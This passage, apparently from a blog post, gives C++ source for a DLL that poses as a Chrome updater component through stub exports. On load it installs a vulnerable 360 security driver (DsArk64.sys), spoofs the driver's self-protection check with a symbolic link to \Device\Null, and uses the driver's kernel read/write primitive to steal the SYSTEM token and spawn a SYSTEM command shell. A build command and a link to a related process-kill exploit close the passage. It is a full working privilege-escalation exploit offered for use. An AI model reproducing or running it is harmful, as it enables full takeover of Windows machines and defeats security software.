BYTE outBuffer[1024] = { 0 };
DWORD bytesReturned = 0;
// 驱动要求 InputLen == OutputLen
BOOL ioctlOk = DeviceIoControl(hDevice, IOCTL_ARW_PRIMITIVE, encBuffer, encLen, outBuffer, encLen, &bytesReturned, NULL);
DWORD ioctlErr = GetLastError();

if (!ioctlOk || bytesReturned == 0) return 0;

// 驱动在解密我们的请求后,AES 上下文的 IV 已经被更新为了请求密文的最后 16 字节
// 因此解密响应时,必须使用请求密文的最后 16 字节作为 IV!
BYTE responseIV[16];
if (encLen >= 16) {
memcpy(responseIV, encBuffer + encLen - 16, 16);
} else {
memcpy(responseIV, AES_IV, 16);
}

DSARK_RW_PAYLOAD resp = { 0 };
bool decOk = DecryptDsArkPayload(outBuffer, bytesReturned, &resp, responseIV);

if (g_readDbgCount < 1) {
g_readDbgCount++;
WCHAR d[512];
wsprintfW(d, L"[DBG KernelRead64]\nAddr=0x%I64X\nEncOk=%d EncLen=%lu\nIOCTL=%d Err=%lu BytesRet=%lu\nDecOk=%d Out[0..7]=0x%02X%02X%02X%02X%02X%02X%02X%02X",
address, encOk, encLen, ioctlOk, ioctlErr, bytesReturned, decOk,
resp.DataBuffer[0],resp.DataBuffer[1],resp.DataBuffer[2],resp.DataBuffer[3],
resp.DataBuffer[4],resp.DataBuffer[5],resp.DataBuffer[6],resp.DataBuffer[7]);
MessageBoxW(NULL, d, L"BFL_DBG", MB_OK);
}

if (!decOk) return 0;
return *(uint64_t*)(resp.DataBuffer);
}

void KernelWrite64(HANDLE hDevice, uint64_t address, uint64_t value) {
DSARK_RW_PAYLOAD req = { 0 };
req.SubCmd = 2;
req.Size = 8;
req.TargetAddress = address;
*(uint64_t*)req.DataBuffer = value;

BYTE encBuffer[1024] = { 0 };
DWORD encLen = 0;
EncryptDsArkPayload(&req, encBuffer, &encLen);

BYTE outBuffer[1024] = { 0 };
DWORD bytesReturned = 0;
DeviceIoControl(hDevice, IOCTL_ARW_PRIMITIVE, encBuffer, encLen, outBuffer, encLen, &bytesReturned, NULL);
}

// 前置声明
static DWORD RvaToFileOffset(BYTE* fileData, DWORD rva);

// 从磁盘 PE 文件提取指定导出函数的 RVA
static DWORD GetExportRVAFromFile(const WCHAR* filePath, const char* exportName) {
HANDLE hFile = CreateFileW(filePath, GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return 0;
DWORD fileSize = GetFileSize(hFile, NULL);
BYTE* fd = (BYTE*)VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
DWORD br; ReadFile(hFile, fd, fileSize, &br, NULL);
CloseHandle(hFile);
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)fd;
DWORD peOff = dos->e_lfanew;
DWORD exportRva = *(DWORD*)(fd + peOff + 24 + 112);
if (!exportRva) { VirtualFree(fd, 0, MEM_RELEASE); return 0; }
DWORD exportOff = RvaToFileOffset(fd, exportRva);
IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(fd + exportOff);
DWORD* names = (DWORD*)(fd + RvaToFileOffset(fd, exp->AddressOfNames));
WORD* ords = (WORD*)(fd + RvaToFileOffset(fd, exp->AddressOfNameOrdinals));
DWORD* funcs = (DWORD*)(fd + RvaToFileOffset(fd, exp->AddressOfFunctions));
DWORD rva = 0;
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
char* name = (char*)(fd + RvaToFileOffset(fd, names[i]));
if (strcmp(name, exportName) == 0) { rva = funcs[ords[i]]; break; }
}
VirtualFree(fd, 0, MEM_RELEASE);
return rva;
}

bool EnablePrivilege(const char* privName);

// ========================================================================
// 提权核心逻辑 (WOW64 兼容 — 不依赖句柄表)
// ========================================================================
void ExecutePrivilegeEscalation() {
MessageBoxW(NULL, L"[*] Entered ExecutePrivilegeEscalation!", L"BFL_DBG", MB_OK);

// 1. 确保符号链接存在
DefineDosDeviceA(DDD_RAW_TARGET_PATH, "DsArk", "\\Device\\DsArk");

// 2. 获取 DsArk 句柄 (带有重试机制,解决内核加载耗时导致的竞态问题)
HANDLE hDevice = INVALID_HANDLE_VALUE;
DWORD cfErr = 0;
for (int i = 0; i < 90; i++) { // 将重试次数增加到 90 次,硬扛过内核里 60 秒的死等阻塞
hDevice = CreateFileA("\\\\.\\DsArk", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice != INVALID_HANDLE_VALUE) {
break;
}
cfErr = GetLastError();
Sleep(1000); // 每次重试间隔1秒
}

if (hDevice == INVALID_HANDLE_VALUE) {
WCHAR e[256];
wsprintfW(e, L"[-] CreateFile err=%lu after 90 seconds wait. (Make sure service is running)", cfErr);
MessageBoxW(NULL, e, L"BFL_DBG", MB_ICONERROR);
return;
}

MessageBoxW(NULL, L"[+] Got device handle! Native IOCTL processing enabled.", L"BFL_DBG", MB_OK);

// 3. 神级绕过:用符号链接占坑 \Device\360SelfProtection 指向 \Device\Null
// 这样 DsArk 的 IOCTL 校验请求会发给 Null 驱动,Null 会无条件返回 STATUS_SUCCESS!
EnablePrivilege("SeCreateSymbolicLinkPrivilege");

typedef struct _UNICODE_STRING_LOCAL {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING_LOCAL;

typedef struct _OBJECT_ATTRIBUTES_LOCAL {
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING_LOCAL* ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES_LOCAL;

typedef NTSTATUS(NTAPI* NtCreateSymbolicLinkObject_t)(
PHANDLE LinkHandle,
ACCESS_MASK DesiredAccess,
OBJECT_ATTRIBUTES_LOCAL* ObjectAttributes,
UNICODE_STRING_LOCAL* LinkTarget
);

HMODULE hNtDll = GetModuleHandleA("ntdll.dll");
auto fnNtCreateSymbolicLinkObject = (NtCreateSymbolicLinkObject_t)GetProcAddress(hNtDll, "NtCreateSymbolicLinkObject");

UNICODE_STRING_LOCAL symName;
symName.Buffer = (PWSTR)L"\\Device\\360SelfProtection";
symName.Length = (USHORT)(wcslen(symName.Buffer) * sizeof(WCHAR));
symName.MaximumLength = symName.Length + sizeof(WCHAR);

OBJECT_ATTRIBUTES_LOCAL oa;
oa.Length = sizeof(oa);
oa.RootDirectory = NULL;
oa.ObjectName = &symName;
oa.Attributes = 0x00000040; // OBJ_CASE_INSENSITIVE
oa.SecurityDescriptor = NULL;
oa.SecurityQualityOfService = NULL;

UNICODE_STRING_LOCAL targetName;
targetName.Buffer = (PWSTR)L"\\Device\\Null";
targetName.Length = (USHORT)(wcslen(targetName.Buffer) * sizeof(WCHAR));
targetName.MaximumLength = targetName.Length + sizeof(WCHAR);

HANDLE hFaked360SP = NULL;
NTSTATUS symStatus = fnNtCreateSymbolicLinkObject(&hFaked360SP, GENERIC_ALL, &oa, &targetName);

WCHAR fakedMsg[256];
wsprintfW(fakedMsg, L"[*] Faked \\Device\\360SP -> \\Device\\Null\nStatus: 0x%08X (0=OK)\nHandle: %p", symStatus, hFaked360SP);
MessageBoxW(NULL, fakedMsg, L"BFL_DBG", MB_OK);

// Step 1: 获取 ntoskrnl 截断基址
// HMODULE hNtDll 已经在上面定义过了
auto NtQSI = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation");
ULONG bufSize = 0x20000;
BYTE* modBuf = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
NTSTATUS st = NtQSI(11, modBuf, bufSize, &bufSize); // SystemModuleInformation
if (st == (NTSTATUS)0xC0000004) {
modBuf = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, modBuf, bufSize);
st = NtQSI(11, modBuf, bufSize, &bufSize);
}
if (st < 0) {
WCHAR e[128]; wsprintfW(e, L"[-] SysModInfo failed: 0x%08X", st);
MessageBoxW(NULL, e, L"BFL_DBG", MB_ICONERROR);
HeapFree(GetProcessHeap(), 0, modBuf); CloseHandle(hDevice); return;
}
// RTL_PROCESS_MODULES: ULONG NumberOfModules(4), then Modules[0]:
// HANDLE Section(4) + PVOID MappedBase(4) + PVOID ImageBase(4) + ...
DWORD ntBaseLow = *(DWORD*)(modBuf + 4 + 8); // offset 12 = Modules[0].ImageBase
HeapFree(GetProcessHeap(), 0, modBuf);

WCHAR dbg1[128];
wsprintfW(dbg1, L"[*] ntoskrnl low32=0x%08X", ntBaseLow);
MessageBoxW(NULL, dbg1, L"BFL_DBG", MB_OK);

// Step 2: 先测试 KernelRead64 是否能工作
// KUSER_SHARED_DATA 固定地址 0xFFFFF78000000000, offset 0x26C = NtMajorVersion (应为 10)
uint64_t testKusd = KernelRead64(hDevice, 0xFFFFF7800000026CULL);
WCHAR dbgTest[256];
wsprintfW(dbgTest, L"[*] KernelRead test: KUSD.NtMajorVer=0x%I64X (expect 0xA=10)", testKusd);
MessageBoxW(NULL, dbgTest, L"BFL_DBG", MB_OK);

// 探测重建完整基址
uint64_t ntBase = 0;
for (uint64_t hi = 0xFFFFF800; hi <= 0xFFFFF810; hi++) {
uint64_t c = (hi << 32) | ntBaseLow;
uint64_t m = KernelRead64(hDevice, c);
if ((m & 0xFFFF) == 0x5A4D) { ntBase = c; break; }
}
if (!ntBase) {
// 显示第一个候选地址读到的值帮助诊断
uint64_t firstCandidate = (0xFFFFF800ULL << 32) | ntBaseLow;
uint64_t firstVal = KernelRead64(hDevice, firstCandidate);
WCHAR e[256];
wsprintfW(e, L"[-] ntoskrnl not found!\nFirst probe: 0x%I64X → 0x%I64X", firstCandidate, firstVal);
MessageBoxW(NULL, e, L"BFL_DBG", MB_ICONERROR);
CloseHandle(hDevice); return;
}
WCHAR dbg2[128]; wsprintfW(dbg2, L"[+] ntoskrnl=0x%I64X", ntBase);
MessageBoxW(NULL, dbg2, L"BFL_DBG", MB_OK);

// Step 3: 从磁盘读 PsInitialSystemProcess RVA
PVOID oldRedir = NULL;
Wow64DisableWow64FsRedirection(&oldRedir);
DWORD psRva = GetExportRVAFromFile(L"C:\\Windows\\System32\\ntoskrnl.exe", "PsInitialSystemProcess");
Wow64RevertWow64FsRedirection(oldRedir);
if (!psRva) {
MessageBoxW(NULL, L"[-] PsInitialSystemProcess not found!", L"BFL_DBG", MB_ICONERROR);
CloseHandle(hDevice); return;
}

// Step 4: 读取 System EPROCESS
uint64_t systemEprocess = KernelRead64(hDevice, ntBase + psRva);
WCHAR dbg3[128]; wsprintfW(dbg3, L"[+] System EPROCESS=0x%I64X", systemEprocess);
MessageBoxW(NULL, dbg3, L"BFL_DBG", MB_OK);

// Step 5: 确定 EPROCESS 偏移 (尝试两组)
uint64_t OFF_PID, OFF_LINKS, OFF_TOKEN;
uint64_t testPid = KernelRead64(hDevice, systemEprocess + 0x2E8);
if (testPid == 4) {
OFF_PID = 0x2E8; OFF_LINKS = 0x2F0; OFF_TOKEN = 0x360;
} else {
testPid = KernelRead64(hDevice, systemEprocess + 0x440);
if (testPid == 4) {
OFF_PID = 0x440; OFF_LINKS = 0x448; OFF_TOKEN = 0x4B8;
} else {
WCHAR e[256]; wsprintfW(e, L"[-] PID@+0x2E8=%I64u, @+0x440=%I64u. Unknown offsets!",
KernelRead64(hDevice, systemEprocess + 0x2E8),
KernelRead64(hDevice, systemEprocess + 0x440));
MessageBoxW(NULL, e, L"BFL_DBG", MB_ICONERROR);
CloseHandle(hDevice); return;
}
}

// Step 6: 遍历链表找我们的进程
DWORD myPid = GetCurrentProcessId();
uint64_t currentEprocess = 0, iter = systemEprocess;
do {
uint64_t pid = KernelRead64(hDevice, iter + OFF_PID);
if (pid == myPid) { currentEprocess = iter; break; }
uint64_t flink = KernelRead64(hDevice, iter + OFF_LINKS);
if (!flink) break;
iter = flink - OFF_LINKS;
} while (iter != systemEprocess && iter != 0);

if (!currentEprocess) {
MessageBoxW(NULL, L"[-] Our EPROCESS not found!", L"BFL_DBG", MB_ICONERROR);
CloseHandle(hDevice); return;
}

// Step 7: Token 窃取
uint64_t sysToken = KernelRead64(hDevice, systemEprocess + OFF_TOKEN);
uint64_t curToken = KernelRead64(hDevice, currentEprocess + OFF_TOKEN);
uint64_t newToken = (sysToken & ~0xFULL) | (curToken & 0xFULL);

WCHAR dbgTk[256];
wsprintfW(dbgTk, L"[*] SysTok=0x%I64X CurTok=0x%I64X New=0x%I64X", sysToken, curToken, newToken);
MessageBoxW(NULL, dbgTk, L"BFL_DBG", MB_OK);

KernelWrite64(hDevice, currentEprocess + OFF_TOKEN, newToken);
MessageBoxW(NULL, L"[+] Token overwritten! Spawning cmd...", L"BFL_DBG", MB_OK);

// Step 8: 弹 SYSTEM cmd
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
if (CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
MessageBoxW(NULL, L"[+] SYSTEM cmd spawned!", L"BFL_DBG", MB_OK);
} else {
WCHAR e[128]; wsprintfW(e, L"[-] CreateProcess err: %lu", GetLastError());
MessageBoxW(NULL, e, L"BFL_DBG", MB_ICONERROR);
}
CloseHandle(hDevice);
}

// 启用指定特权的辅助函数
bool EnablePrivilege(LPCSTR lpszPrivilege) {
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return false;
LUID luid;
if (!LookupPrivilegeValueA(NULL, lpszPrivilege, &luid)) {
CloseHandle(hToken);
return false;
}
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bool result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
CloseHandle(hToken);
return result && (GetLastError() == ERROR_SUCCESS);
}



// RVA → 文件偏移转换 (解析 64 位 PE)
static DWORD RvaToFileOffset(BYTE* base, DWORD rva) {
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
// 64 位 PE,但 IMAGE_SECTION_HEADER 布局相同
DWORD peOff = dos->e_lfanew;
WORD numSections = *(WORD*)(base + peOff + 6);
WORD optHeaderSize = *(WORD*)(base + peOff + 20);
BYTE* secTable = base + peOff + 24 + optHeaderSize;
for (WORD i = 0; i < numSections; i++) {
IMAGE_SECTION_HEADER* sec = (IMAGE_SECTION_HEADER*)(secTable + i * sizeof(IMAGE_SECTION_HEADER));
if (rva >= sec->VirtualAddress && rva < sec->VirtualAddress + sec->SizeOfRawData) {
return sec->PointerToRawData + (rva - sec->VirtualAddress);
}
}
return 0;
}

bool LoadVulnerableDriver() {
// 0. 检查 dsark 服务是否已由 360 加载
SC_HANDLE hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT);
if (hSCM) {
SC_HANDLE hSvc = OpenServiceW(hSCM, L"dsark", SERVICE_QUERY_STATUS);
if (hSvc) {
SERVICE_STATUS ss = {0};
QueryServiceStatus(hSvc, &ss);
WCHAR dbgSvc[128];
wsprintfW(dbgSvc, L"[*] dsark service state=%lu (4=RUNNING)", ss.dwCurrentState);
MessageBoxW(NULL, dbgSvc, L"BFL_DBG", MB_OK);

if (ss.dwCurrentState == SERVICE_RUNNING) {
CloseServiceHandle(hSvc);
CloseServiceHandle(hSCM);
return true;
}
CloseServiceHandle(hSvc);
} else {
WCHAR e[128]; wsprintfW(e, L"[*] OpenService(dsark) failed: %lu", GetLastError());
MessageBoxW(NULL, e, L"BFL_DBG", MB_OK);
}
CloseServiceHandle(hSCM);
}

// 1. 获取 DsArk64.sys 的绝对路径
WCHAR exePath[MAX_PATH];
GetModuleFileNameW(NULL, exePath, MAX_PATH);
WCHAR* lastSlash = wcsrchr(exePath, L'\\');
if (lastSlash) *(lastSlash + 1) = L'\0';
wcscat(exePath, L"DsArk64.sys");
// 360FsFlt\daboot=1 注册表 (DriverEntry 会检查)
{
HKEY hKey = NULL;
DWORD disp = 0;
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE,
L"SYSTEM\\CurrentControlSet\\services\\360FsFlt",
0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, &disp) == ERROR_SUCCESS) {
DWORD val = 1;
RegSetValueExW(hKey, L"daboot", 0, REG_DWORD, (BYTE*)&val, sizeof(val));
RegCloseKey(hKey);
}
}

// 2. 通过 SCM 注册驱动服务 (仅写注册表)
SC_HANDLE hSCM2 = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!hSCM2) {
MessageBoxW(NULL, L"[-] OpenSCManager failed!", L"BFL_DBG", MB_ICONERROR);
return false;
}
SC_HANDLE hService = CreateServiceW(hSCM2, L"dsark", L"dsark",
SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL, exePath, NULL, NULL, NULL, NULL, NULL);
DWORD dwErr = GetLastError();
if (!hService && dwErr == ERROR_SERVICE_EXISTS) {
hService = OpenServiceW(hSCM2, L"dsark", SERVICE_ALL_ACCESS);
if (hService)
ChangeServiceConfigW(hService, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL, exePath, NULL, NULL, NULL, NULL, NULL, NULL);
}
if (hService) CloseServiceHandle(hService);

// [核弹级绕过] 为什么之前第一次必卡死,第二次秒成功?
// 因为原版代码在 32 位进程 (360ceupdate) 里使用了原生 NtLoadDriver,
// 导致 DsArk 的 DriverEntry 试图给当前 32 位进程注入 Hook 时发生了死锁!
// 当进程退出时,死锁打破,驱动加载成功!
// 解决方案:使用标准系统机制 StartServiceW!让 64 位的 services.exe 去负责加载它,
// 完美避开所有 32 位注入死锁!
hService = OpenServiceW(hSCM2, L"dsark", SERVICE_START);
if (hService) {
StartServiceW(hService, 0, NULL);
CloseServiceHandle(hService);
}
CloseServiceHandle(hSCM2);

Sleep(1000); // 给服务一秒钟的启动时间
return true;
}

// 导出函数,维持宿主假象
extern "C" __declspec(dllexport) void __cdecl RegisterUserNotifyInterface(void* pObj) {}
extern "C" __declspec(dllexport) int __cdecl ChromeUpdate(DWORD param1, DWORD param2) { return 0; }

// 全局异常捕获 (兼容 MinGW)
static LONG WINAPI CrashHandler(EXCEPTION_POINTERS* ep) {
WCHAR msg[256];
wsprintfW(msg, L"[!] CRASH! Code: 0x%08X Addr: 0x%p",
ep->ExceptionRecord->ExceptionCode, ep->ExceptionRecord->ExceptionAddress);
MessageBoxW(NULL, msg, L"BFL_DBG", MB_ICONERROR);
return EXCEPTION_EXECUTE_HANDLER;
}

// DLL 入口
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
DisableThreadLibraryCalls(hModule);
SetUnhandledExceptionFilter(CrashHandler);
MessageBoxW(NULL, L"[*] DLL Loaded. Starting...", L"BFL_DBG", MB_OK);
if (LoadVulnerableDriver()) {
ExecutePrivilegeEscalation();
}
break;
}
}
return TRUE;
}
1
g++ -shared -o chromeup.dll chromeup.cpp -static -lbcrypt -Wl,--enable-stdcall-fixup

至于那个任意进程Kill的EXP?

别人已经写了

何必又再去造轮子

https://github.com/magicsword-io/LOLDrivers/issues/308#issuecomment-4293042788


AI真的太好玩了

EOF